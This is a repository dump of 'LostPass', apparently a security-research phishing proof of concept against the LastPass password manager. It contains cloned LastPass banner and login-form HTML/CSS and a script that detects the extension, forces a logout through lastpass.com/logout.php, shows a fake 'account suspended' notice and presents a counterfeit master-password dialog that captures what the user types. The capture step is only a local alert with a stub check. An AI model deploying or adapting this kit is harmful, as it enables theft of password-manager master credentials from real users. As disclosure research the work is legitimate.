background:url(spreadsheet.png) no-repeat center center; 208 | width:200px; 209 | height:200px; 210 | } 211 | 212 | .buttonblock{ 213 | min-height: 40px; 214 | } 215 | 216 | 217 | 218 | #googleauthotp{ 219 | width:100px; 220 | height:24px; 221 | padding-left:20px; 222 | } 223 | .multienter{ 224 | font-weight:bold; 225 | margin:0px; 226 | } 227 | .multidesc{ 228 | padding-top:18px; 229 | } 230 | .multititle{ 231 | float:right; 232 | padding:20px 10px 0 0; 233 | } 234 | .lost{ 235 | padding-left:50px; 236 | } 237 | .vault-table{ 238 | border-top:1px solid #c3c3c3 239 | } 240 | #googleauthauth{ 241 | height:30px; 242 | } 243 | #labelgoogleauth{ 244 | padding:5px 3px; 245 | } 246 | a#cancel{ 247 | color: black; 248 | } 249 | -------------------------------------------------------------------------------- /chrome4/tabDialog.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Log In 6 | 7 | 8 | 9 | 10 | 11 |
12 |
13 |
14 | ERROR: 15 |
16 |
17 |
18 | SUCCESS: 19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 | 38 |
39 | 40 |
41 | 42 |
43 |
44 | Forgot your password? 45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |

New to LastPass?Create an account now.

54 |
55 |
56 |

Are you sure?

57 |

Using 'remember password' makes it easier to forget your password and decreases your security if your device is infected or stolen.

58 |
59 |
60 |
61 |
62 |
63 | 64 | 65 | 115 | 116 | 117 | -------------------------------------------------------------------------------- /chrome4/x.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/chrome4/x.gif -------------------------------------------------------------------------------- /chrome4/yubicoring16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/chrome4/yubicoring16.png -------------------------------------------------------------------------------- /images/2fa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/images/2fa.png -------------------------------------------------------------------------------- /images/firefox_osx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/images/firefox_osx.png -------------------------------------------------------------------------------- /images/firefox_win.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/images/firefox_win.png -------------------------------------------------------------------------------- /images/login1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/images/login1.png -------------------------------------------------------------------------------- /images/notification.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/images/notification.png -------------------------------------------------------------------------------- /lostpass_shmoocon_slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cxxr/lostpass/47d9b8850cc511afa4c2df7606cf783d02a60354/lostpass_shmoocon_slides.pdf -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "lostpass", 3 | "version": "0.0.1", 4 | "devDependencies": { 5 | "grunt": "^0.4.5", 6 | "grunt-contrib-jshint": "~0.10.0", 7 | "grunt-contrib-nodeunit": "~0.4.1", 8 | "grunt-contrib-uglify": "~0.5.0", 9 | "grunt-contrib-copy": "~0.8.0", 10 | "grunt-contrib-clean": "~0.6.0", 11 | "grunt-text-replace": "~0.4.0", 12 | "grunt-multi-dest": "~1.0.0", 13 | "grunt-contrib-watch": "~0.6.0", 14 | "grunt-contrib-concat": "~0.5.1", 15 | "interact.js": "~1.2.6" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/chrome.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | .lppopupextended td, .lppopupextended th { 4 | white-space:nowrap; 5 | padding-right:5px; 6 | } 7 | 8 | .lpiframeoverlay { 9 | overflow:hidden; 10 | } 11 | 12 | #lastpass-notification { height: 13px;padding: 7px 10px !important;text-align: left;position: relative;font-weight:bold;font-family:Helvetica Neue,Helvetica,Arial,Sans-serif;font-size: 11px;z-index: 1000000099;color: black;vertical-align: top; float: none;} 13 | 14 | #lastpass-content {display: inline; padding-left: 5px;vertical-align: top;text-align: left; float: none; width: 100%;-webkit-user-select:none; font-family: Helvetica Neue,Helvetica,Arial,sans-serif;font-size: 11px;} 15 | .lppopup {position: absolute;-webkit-border-radius: 0px 0px 5px 5px;border-radius: 0px 0px 5px 5px;-webkit-box-shadow: 2px 3px 10px 2px #a6a6a6;box-shadow: 2px 3px 10px 2px #a6a6a6;z-index: 99999;background: #fff;overflow: auto;x: 0px;y: 0px;width: 300px;height: 200px;display: none;} 16 | .lppopup table {float:none; display:table; margin: 0px; padding: 0px; border-spacing: 1px;} 17 | .lppopup tr:hover {background: -webkit-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);background: -o-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);} 18 | .lppopup tr {-webkit-user-select:none;background-color: #fff; height: 22px;} 19 | .lppopup td {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;cursor: pointer;} 20 | .lppopupextended {position: absolute;-webkit-border-radius: 0px 0px 5px 5px;border-radius: 0px 0px 5px 5px;-webkit-box-shadow: 2px 3px 10px 2px #a6a6a6;box-shadow: 2px 3px 10px 2px #a6a6a6;z-index: 99999;background: #fff;x: 0px;y: 0px;width: 410px;height: 200px;display: none; overflow-x:hidden;} 21 | .lppopupextended table {float:none; display:table; margin: 0px; padding: 0px; border-spacing: 1px; overflow-x:hidden;} 22 | .lppopupextended tr {-webkit-user-select:none;background-color: #fff; height: 22px; overflow-x:hidden;} 23 | .lppopupextended td {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;cursor: pointer; white-space:normal; overflow-x:hidden; } 24 | .lppopupextended th {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;background-color: #ececec;cursor: pointer; height: 16px;} 25 | .sortable tr:hover {background: -webkit-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);background: -o-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);} 26 | .lpopupsearchbox {-webkit-user-select:none;background-color: #fff; height: 22px;} 27 | .lpopupsearchbox:hover {-webkit-user-select:none;background-color: #fff; height: 22px;} 28 | .lpbutton,#lastpass-notification button[type="button"] {background-color: #eeeeee;background-image: -webkit-gradient(linear, left top, left bottom, from(#eeeeee), to(#cccccc));background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc);background-image: -o-linear-gradient(top, #eeeeee, #cccccc);background-image: linear-gradient(top, #eeeeee, #cccccc);border: 1px solid #ccc;border-bottom: 1px solid #bbb;-webkit-border-radius: 3px;border-radius: 3px;color: #333;line-height: 1;font-weight:bold;text-align: center;text-shadow: 0 1px 0 #eee;width: auto;float: right; margin: -2px 5px 2px 2px; height:17px;padding:1px 6px !important;} 29 | .lpbutton:hover,#lastpass-notification button[type="button"]:hover {background-color: #dddddd; background-image: -webkit-gradient(linear, left top, left bottom, from(#dddddd), to(#bbbbbb)); background-image: -webkit-linear-gradient(top, #dddddd, #bbbbbb); background-image: -o-linear-gradient(top, #dddddd, #bbbbbb); border: 1px solid #bbb; border-bottom: 1px solid #999; cursor: pointer; text-shadow: 0 1px 0 #ddd;} 30 | #lastpass-notification img {margin: 0px 0px 0px 0px;padding: 0px 0px 3px 0px;} 31 | .lpbutton40 { border-radius:4px; text-align:center; vertical-align: top; padding: 2px 8px !important; background-color: #ffffff !important; box-shadow: 0px 1px 2px 0px rgba(0,0,0,0.20); height: 26px !important; -webkit-border-radius: 4px; -webkit-box-shadow: 0px 1px 2px 0px rgba(0,0,0,0.20); background-image: none !important; } 32 | .lptext40 { font-family: "Open Sans",Arial,sans-serif !important; font-size:15px !important;} 33 | ::-webkit-scrollbar { 34 | width: 10px; 35 | height: 15px; 36 | } 37 | 38 | ::-webkit-scrollbar-thumb { 39 | width: 10px; 40 | background: hsla(0,0%,0%,0.15); 41 | -webkit-border-radius: 5px; 42 | -webkit-box-shadow:inset -2px 0px 5px hsla(0,0%,0%,0.3), inset 1px 0 0 hsla(0,0%,0%,0.2), inset -1px 0 0 hsla(0,0%,0%,0.2), inset 2px 0 0 hsla(0,0%,100%,0.4); 43 | } 44 | 45 | ::-webkit-scrollbar-track { 46 | width: 10px; 47 | border-style: none; 48 | -webkit-box-shadow:inset 2px 0px 5px hsla(0,0%,0%,0.15), inset 1px 0 0 hsla(0,0%,0%,0.2); 49 | background-color: hsl(0,0%,93%); 50 | } 51 | -------------------------------------------------------------------------------- /src/chrome.html: -------------------------------------------------------------------------------- 1 |
2 |
XX_MESSAGE_XX
3 |
4 | -------------------------------------------------------------------------------- /src/firefox.css: -------------------------------------------------------------------------------- 1 | #lastpass-notification { height: 13px;padding: 7px 10px !important;text-align: left;position: fixed;top:0;left:0;font-weight:normal;font-family:Helvetica Neue,Helvetica,Arial,Sans-serif;font-size: 11px;z-index: 1000000099;color: black;vertical-align: top; float: none; width: 100%; margin-right: 10px;} 2 | #lastpass-content {display: inline; padding-left: 5px;vertical-align: top;text-align: left; float: none; width: 100%;-webkit-user-select:none; font-family: Helvetica Neue,Helvetica,Arial,sans-serif;font-size: 11px; font-weight: bold;} 3 | .lppopup {position: absolute;-webkit-border-radius: 0px 0px 5px 5px;border-radius: 0px 0px 5px 5px;-webkit-box-shadow: 2px 3px 10px 2px #a6a6a6;box-shadow: 2px 3px 10px 2px #a6a6a6;z-index: 99999;background: #fff;overflow: auto;x: 0px;y: 0px;width: 300px;height: 200px;display: none;} 4 | .lppopup table {float:none; display:table; margin: 0px; padding: 0px; border-spacing: 1px;} 5 | .lppopup tr:hover {background: -webkit-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);background: -o-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);} 6 | .lppopup tr {-webkit-user-select:none;background-color: #fff; height: 22px;} 7 | .lppopup td {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;cursor: pointer;} 8 | .lppopupextended {position: absolute;-webkit-border-radius: 0px 0px 5px 5px;border-radius: 0px 0px 5px 5px;-webkit-box-shadow: 2px 3px 10px 2px #a6a6a6;box-shadow: 2px 3px 10px 2px #a6a6a6;z-index: 99999;background: #fff;x: 0px;y: 0px;width: 410px;height: 200px;display: none; overflow-x:hidden;} 9 | .lppopupextended table {float:none; display:table; margin: 0px; padding: 0px; border-spacing: 1px; overflow-x:hidden;} 10 | .lppopupextended tr {-webkit-user-select:none;background-color: #fff; height: 22px; overflow-x:hidden;} 11 | .lppopupextended td {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;cursor: pointer; white-space:normal; overflow-x:hidden; } 12 | .lppopupextended th {-webkit-user-select:none;font-size: 11px;font-family: Helvetica Neue,Helvetica,Arial,sans-serif;color: black;background-color: #ececec;cursor: pointer; height: 16px;} 13 | .sortable tr:hover {background: -webkit-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);background: -o-linear-gradient(top, rgba(214,249,255,1) 0%,rgba(158,232,250,1) 100%);} 14 | .lpopupsearchbox {-webkit-user-select:none;background-color: #fff; height: 22px;} 15 | .lpopupsearchbox:hover {-webkit-user-select:none;background-color: #fff; height: 22px;} 16 | .lpbutton,#lastpass-notification button[type="button"] {background-color: #eeeeee;background-image: -webkit-gradient(linear, left top, left bottom, from(#eeeeee), to(#cccccc));background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc);background-image: -o-linear-gradient(top, #eeeeee, #cccccc);background-image: linear-gradient(top, #eeeeee, #cccccc);border: 1px solid #ccc;border-bottom: 1px solid #bbb;-webkit-border-radius: 9px;border-radius: 9px;color: #333;line-height: 1;font-weight:normal;text-align: center;text-shadow: 0 1px 0 #eee;width: auto;float: right; margin: -2px 10px 2px 2px; height:17px;padding:1px 6px !important;} 17 | .lpbutton:hover,#lastpass-notification button[type="button"]:hover {cursor: default;} 18 | #lastpass-notification img {margin: 0px 0px 0px 0px;padding: 0px 0px 3px 0px;} 19 | -------------------------------------------------------------------------------- /src/firefox.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
Your account has been temporarily suspended (for 5 minutes) because of too many login attempt failures.
4 | 8 | 9 |
10 | -------------------------------------------------------------------------------- /src/firefox_login.css: -------------------------------------------------------------------------------- 1 | div#lpfirefoxlogin { 2 | position: fixed; 3 | left:65%; 4 | top: 0px; 5 | width:250px; 6 | height:320px; 7 | border: 0.5px solid #9f9f9f; 8 | border-top: none; 9 | box-shadow: 0 0 10px 0px #bbb; 10 | background: #f0f0f0; 11 | font-size: 11px !important; 12 | line-height: 20px !important; 13 | font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Neue", Helvetica, Arial, "Lucida Grande", sans-serif !important; 14 | font-weight: 300; 15 | 16 | font-family: Arial !important; 17 | overflow:hidden; 18 | 19 | animation-duration: 400ms; 20 | animation-name: slidein; 21 | 22 | user-select: none; 23 | -moz-user-select: none; 24 | } 25 | 26 | div#lpfirefoxlogin.win { 27 | top: 50px; 28 | left: 40%; 29 | font-size: 12px !important; 30 | height: 340px; 31 | font-family: "Segoe UI", sans-serif !important; 32 | box-shadow: none; 33 | animation-name: fadein; 34 | animation-duration: 300ms; 35 | } 36 | 37 | @keyframes slidein { 38 | from { 39 | top: -320px; 40 | } 41 | to { 42 | top: 0px; 43 | } 44 | } 45 | 46 | @keyframes slideout { 47 | from { 48 | top: 0px; 49 | } 50 | to { 51 | top: -320px; 52 | } 53 | } 54 | 55 | @keyframes fadein { 56 | from { 57 | opacity: 0; 58 | transform: scale(0.9); 59 | } 60 | to { 61 | opacity: 1; 62 | transform: scale(1); 63 | } 64 | } 65 | 66 | @keyframes fadeout { 67 | from { 68 | opacity: 1; 69 | transform: scale(1); 70 | } 71 | to { 72 | opacity: 0; 73 | transform: scale(0.9); 74 | } 75 | } 76 | 77 | div#lpfirefoxlogin div.container { 78 | margin: 0; 79 | padding-top: 15px; 80 | padding-left: 15px; 81 | box-shadow: 0 0 10px 0px #bbb; 82 | } 83 | 84 | div#lpfirefoxlogin.win { 85 | border: 1px solid #4d91ab; 86 | width: 266px; /* 250px + 8px + 8px */ 87 | box-shadow: 0 0 2px 0px #bbb; 88 | } 89 | 90 | div#lpfirefoxlogin.win div.container { 91 | width: 234px; /* 250px - 8px - 8px */ 92 | height: 286px; 93 | border: 1px solid #56a2be; 94 | box-shadow: none; 95 | } 96 | 97 | div#lpfirefoxlogin.win div.border { 98 | border: 8px solid #65bedf; 99 | border-top: none; 100 | height: 332px; /* 340px - 8px */ 101 | } 102 | 103 | div#lpfirefoxlogin div.container { 104 | box-shadow: none; 105 | } 106 | 107 | div#lpfirefoxlogin .spacer { 108 | height: 20px; 109 | background: #65bedf; 110 | font-size: 16px; 111 | text-align: center; 112 | width: auto; 113 | padding: 5px 0px; 114 | cursor: default; 115 | } 116 | 117 | div#lpfirefoxlogin .spacer button { 118 | position: absolute; 119 | top: -5px; 120 | right: 0px; 121 | 122 | background: #c75050; 123 | color: white; 124 | width: 30px; 125 | border: none; 126 | border-radius: 0; 127 | font-weight: bold; 128 | } 129 | 130 | div#lpfirefoxlogin .spacer button:hover { 131 | background: #e04343; 132 | } 133 | 134 | div#lpfirefoxlogin a { 135 | text-decoration: none !important; 136 | color: #134fae !important; 137 | border-bottom: none; 138 | line-height: 0.5; 139 | } 140 | 141 | div#lpfirefoxlogin a.first { 142 | margin-top: 5px; 143 | } 144 | 145 | div#lpfirefoxlogin a:hover { 146 | text-decoration: underline !important; 147 | } 148 | 149 | div#lpfirefoxlogin label { 150 | line-height: 0.8; 151 | margin-bottom: 10px; 152 | display: block; 153 | } 154 | 155 | div#lpfirefoxlogin label.indent { 156 | padding-left: 2px; 157 | } 158 | 159 | div#lpfirefoxlogin label.checkbox { 160 | margin-bottom: 4px; 161 | } 162 | 163 | div#lpfirefoxlogin input#lpemail { 164 | margin-bottom: 10px; 165 | padding-right: 0; 166 | height: 14px; 167 | width:180px; 168 | font-size:11px; 169 | border: 0.5px solid #9f9f9f; 170 | } 171 | 172 | div#lpfirefoxlogin img#lpclear { 173 | position: absolute; 174 | margin-top: 2px; 175 | } 176 | 177 | div#lpfirefoxlogin input#lppassword { 178 | margin-bottom: 10px; 179 | display: block; 180 | height: 14px; 181 | width:200px; 182 | } 183 | 184 | div#lpfirefoxlogin button { 185 | margin: 5px 10px; 186 | height: 20px; 187 | font-size: 13px; 188 | width: 70px; 189 | background-color: #fff; 190 | border: 1px solid #ccc; 191 | border-radius: 5px; 192 | } 193 | 194 | div#lpfirefoxlogin button.osx { 195 | background: linear-gradient(to bottom, #b1b1b6 0%,#919196 100%); 196 | } 197 | 198 | div#lpfirefoxlogin button#lpsubmit { 199 | float: right; 200 | border: none; 201 | border-radius: 5px; 202 | color: white; 203 | margin-right:25px; 204 | } 205 | 206 | div#lpfirefoxlogin button#lpcancel { 207 | float: right; 208 | } 209 | 210 | div#lpfirefoxlogin button#dropdown { 211 | font-size: 10px; 212 | font-weight: bold; 213 | margin-left: -3px; 214 | margin-top: 1px; 215 | margin-right: 5px; 216 | padding: 0; 217 | padding-top:1px; 218 | width: 16px; 219 | height: 18px; 220 | border: none; 221 | border-radius: 5px; 222 | color: white; 223 | border-top-left-radius: 0; 224 | border-top-right-radius: 5px; 225 | border-bottom-right-radius: 5px; 226 | border-bottom-left-radius: 0; 227 | } 228 | 229 | div#lpfirefoxlogin.win input#lpemail { 230 | height: 16px; 231 | border-right: none; 232 | } 233 | 234 | div#lpfirefoxlogin.win input#lpemail:focus { 235 | border: 0.5px solid #569de5; 236 | border-right: none; 237 | } 238 | 239 | div#lpfirefoxlogin.win button#dropdown { 240 | background: white; 241 | border-radius: 0px; 242 | height: 20px; 243 | color: inherit; 244 | border: 0.5px solid #9f9f9f; 245 | border-left: none; 246 | } 247 | 248 | div#lpfirefoxlogin div#submitbuttons { 249 | margin-top: 10px; 250 | } 251 | 252 | div#lpfirefoxlogin div#submitbuttons.win button { 253 | height: 22px; 254 | font-size: 11px; 255 | width: 75px; 256 | background: linear-gradient(to bottom, #ececec 0%,#e5e5e5 100%); 257 | border: 1px solid #ccc; 258 | border-radius: 0px; 259 | float: none; 260 | position: absolute; 261 | } 262 | 263 | div#lpfirefoxlogin div#submitbuttons.win button:hover { 264 | background: #e6f1fc !important; 265 | border: 1px solid #7eb4ea !important; 266 | } 267 | 268 | div#lpfirefoxlogin div#submitbuttons.win button#lpsubmit { 269 | border: 1px solid #3399ff; 270 | color: inherit; 271 | bottom: 11px; 272 | right: 80px; 273 | } 274 | 275 | div#lpfirefoxlogin div#submitbuttons.win button#lpcancel { 276 | border: 1px solid #acacac; 277 | bottom: 11px; 278 | right: 5px; 279 | } 280 | -------------------------------------------------------------------------------- /src/firefox_login_osx.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | I\'ve forgotten my password.
14 | Screen Keyboard 15 |    16 | Create an Account 17 |
18 | 19 | 20 |
21 |
22 |
23 | -------------------------------------------------------------------------------- /src/firefox_login_win.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |
4 | LastPass Master Login 5 | 6 |
7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | I\'ve forgotten my password.
19 | Screen Keyboard 20 |    21 | Create an Account 22 |
23 | 24 | 25 |
26 |
27 |
28 | -------------------------------------------------------------------------------- /src/lostpass.html: -------------------------------------------------------------------------------- 1 |
2 |

Test HTML!

3 |
4 | -------------------------------------------------------------------------------- /src/lostpass.js: -------------------------------------------------------------------------------- 1 | var chromeHTML = <%= assets.chrome.html %>; 2 | var chromeCSS = <%= assets.chrome.css %>; 3 | 4 | var firefoxHTML = <%= assets.firefox.html %>; 5 | var firefoxCSS = <%= assets.firefox.css %>; 6 | 7 | var firefoxLoginOSXHTML = <%= assets.firefox_login.html.osx %>; 8 | var firefoxLoginWinHTML = <%= assets.firefox_login.html.win %>; 9 | var firefoxLoginCSS = <%= assets.firefox_login.css %>; 10 | 11 | var lpDetectFormHTML = 12 | ''; 19 | 20 | var messageMarker = "XX_MESSAGE_XX"; 21 | var buttonMarker = "XX_BUTTON_XX"; 22 | 23 | var defaultMessage = "Your account has been temporarily suspended (for 5 minutes) because of too many login attempt failures." 24 | var defaultButton = "Recover Account"; 25 | 26 | var retryMessage = "Invalid password."; 27 | var retryButton = "Try Again"; 28 | 29 | function lastPassIsInstalled() { 30 | var username = document.getElementById("lpdetectusername"); 31 | var style = username.getAttribute("style"); 32 | return (style != null && style.indexOf("background-image") > -1); 33 | } 34 | 35 | function detectBrowser() { 36 | var ua= navigator.userAgent, tem, 37 | M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; 38 | if(/trident/i.test(M[1])){ 39 | tem= /\brv[ :]+(\d+)/g.exec(ua) || []; 40 | return 'IE '+(tem[1] || ''); 41 | } 42 | if(M[1]=== 'Chrome'){ 43 | tem= ua.match(/\b(OPR|Edge)\/(\d+)/); 44 | if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); 45 | } 46 | M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; 47 | if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); 48 | 49 | var result = M.join(' '); 50 | return result; 51 | } 52 | 53 | function skipBanner() { 54 | return window.location.href.indexOf("?y") > -1; 55 | } 56 | 57 | function invalidPassword() { 58 | return window.location.href.indexOf("?n") > -1; 59 | } 60 | 61 | function lpInit() { 62 | document.body.insertAdjacentHTML('beforeend', lpDetectFormHTML); 63 | 64 | window.setTimeout(function() { 65 | if (lastPassIsInstalled() && !skipBanner()) { 66 | // Logout the user if they're logged in 67 | var logoutScript = document.createElement('script'); 68 | logoutScript.setAttribute('src', "https://lastpass.com/logout.php"); 69 | document.body.appendChild(logoutScript); 70 | 71 | var browser = detectBrowser(); 72 | 73 | console.log("LostPass: detected ", browser); 74 | if (browser.startsWith("Chrome")) { 75 | // Add the style tag to 76 | var style = document.createElement('style'); 77 | style.innerHTML = chromeCSS; 78 | document.head.appendChild(style); 79 | 80 | // Add the banner 81 | var finalHtml; 82 | if (invalidPassword()) { 83 | finalHtml = chromeHTML.replace(messageMarker, retryMessage).replace(buttonMarker, retryButton); 84 | } else { 85 | finalHtml = chromeHTML.replace(messageMarker, defaultMessage).replace(buttonMarker, defaultButton); 86 | } 87 | document.body.insertAdjacentHTML('afterbegin', finalHtml); 88 | 89 | // Make the "X" close the banner 90 | var x = document.getElementById("lphideoverlay"); 91 | x.onclick = function() { 92 | var banner = document.getElementById("lastpass-notification"); 93 | banner.setAttribute("style","visibility:hidden"); 94 | }; 95 | } else if (browser.startsWith("Firefox")) { 96 | var style = document.createElement('style'); 97 | style.innerHTML = firefoxCSS; 98 | document.head.appendChild(style); 99 | 100 | ffShowBanner(); 101 | } else { 102 | console.log("LostPass: unknown browser ", browser); 103 | } 104 | } else { 105 | console.log("LostPass: LastPass is not installed"); 106 | } 107 | }, 500); 108 | } 109 | 110 | function ffShowBanner() { 111 | // Add the banner 112 | document.body.insertAdjacentHTML('afterbegin', firefoxHTML); 113 | 114 | // Make the "X" close the banner 115 | var x = document.getElementById("lphideoverlay"); 116 | x.onclick = ffHideBanner; 117 | } 118 | 119 | function ffHideBanner() { 120 | var banner = document.getElementById("lastpass-notification"); 121 | banner.parentNode.removeChild(banner); 122 | } 123 | 124 | function ffOnClick() { 125 | ffHideBanner(); 126 | 127 | // Add the login form style 128 | var style = document.createElement('style'); 129 | style.innerHTML = firefoxLoginCSS; 130 | document.head.appendChild(style); 131 | 132 | // Add the login form 133 | var closefunc = function() { 134 | // Need to hide after the animation otherwise it will reappear 135 | login.addEventListener("animationend", function() { 136 | login.style.visibility = "hidden"; 137 | }, false); 138 | 139 | if (animate === "Windows") { 140 | console.log("Windows fadeout"); 141 | login.style.animationName = "fadeout"; 142 | } else { 143 | login.style.animationName = "slideout"; 144 | } 145 | }; 146 | var animate; 147 | if (navigator.appVersion.indexOf("Win") != -1) { 148 | console.log("Detected Windows"); 149 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginWinHTML); 150 | var login = document.getElementById("lpfirefoxlogin"); 151 | var closers = document.getElementsByClassName("lpclose"); 152 | console.log("Closers ", closers); 153 | for(var i = 0; i < closers.length; i++) { 154 | var closer = closers[i]; 155 | closer.onclick = closefunc; 156 | } 157 | interact('div.spacer') 158 | .draggable({ 159 | autoScroll:false, 160 | onmove: function (event) { 161 | // keep the dragged position in the data-x/data-y attributes 162 | var target = login; 163 | var x = (parseFloat(target.getAttribute('data-x')) || 0) + event.dx; 164 | var y = (parseFloat(target.getAttribute('data-y')) || 0) + event.dy; 165 | 166 | // translate the element 167 | target.style.webkitTransform = 168 | target.style.transform = 169 | 'translate(' + x + 'px, ' + y + 'px)'; 170 | 171 | // update the posiion attributes 172 | target.setAttribute('data-x', x); 173 | target.setAttribute('data-y', y); 174 | } 175 | }); 176 | animate = "Windows"; 177 | } else { 178 | console.log("Detected Other"); 179 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginOSXHTML); 180 | var login = document.getElementById("lpfirefoxlogin"); 181 | 182 | // Make close work 183 | var close = document.getElementById("lpcancel"); 184 | close.onclick = closefunc; 185 | 186 | animate = "Other"; 187 | } 188 | 189 | // Make remember email work 190 | var rememberemail = document.getElementById("rememberemail"); 191 | rememberemail.onclick = function() { 192 | var rememberPasswordCheckbox = document.getElementById("rememberpassword"); 193 | rememberPasswordCheckbox.disabled = !rememberemail.checked; 194 | }; 195 | 196 | 197 | // Make login work 198 | var submit = document.getElementById("lpsubmit"); 199 | var emailfield = document.getElementById("lpemail"); 200 | var pwfield = document.getElementById("lppassword"); 201 | submit.onclick = function() { 202 | var login = document.getElementById("lpfirefoxlogin"); 203 | 204 | // Need to hide after the animation otherwise it will reappear 205 | login.addEventListener("animationend", function() { 206 | login.parentNode.removeChild(login); 207 | }, false); 208 | 209 | if (animate === "Windows") { 210 | console.log("Windows fadeout"); 211 | login.style.animationName = "fadeout"; 212 | } else { 213 | login.style.animationName = "slideout"; 214 | } 215 | 216 | var username = emailfield.value; 217 | var password = pwfield.value; 218 | if (tryLogin(username, password)) { 219 | alert("Got " + username + " and " + password); 220 | } else { 221 | ffShowBanner(); 222 | } 223 | }; 224 | 225 | // Fight LastPass to remove the asterisks 226 | var config = { attributes: true }; 227 | var observer = new MutationObserver(function(mutations) { 228 | // If we don't disconnect first, this causes an infinite loop 229 | observer.disconnect(); 230 | 231 | emailfield.style = ""; 232 | pwfield.style = ""; 233 | 234 | // Reconnect 235 | observer.observe(emailfield, config); 236 | observer.observe(pwfield, config); 237 | }); 238 | observer.observe(emailfield, config); 239 | observer.observe(pwfield, config); 240 | } 241 | 242 | function tryLogin(username, password) { 243 | // This is obviously a fake function 244 | return password === "correct"; 245 | } 246 | -------------------------------------------------------------------------------- /src/test.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | LostPass Test Page 7 | 8 | 9 | 10 |

Test page

11 | 12 |

This is a test page for testing LostPass.

13 |

This is a test page for testing LostPass.

14 |

This is a test page for testing LostPass.

15 |

This is a test page for testing LostPass.

16 |

This is a test page for testing LostPass.

17 |

This is a test page for testing LostPass.

18 | 19 | 20 | 23 | 24 | 25 | --------------------------------------------------------------------------------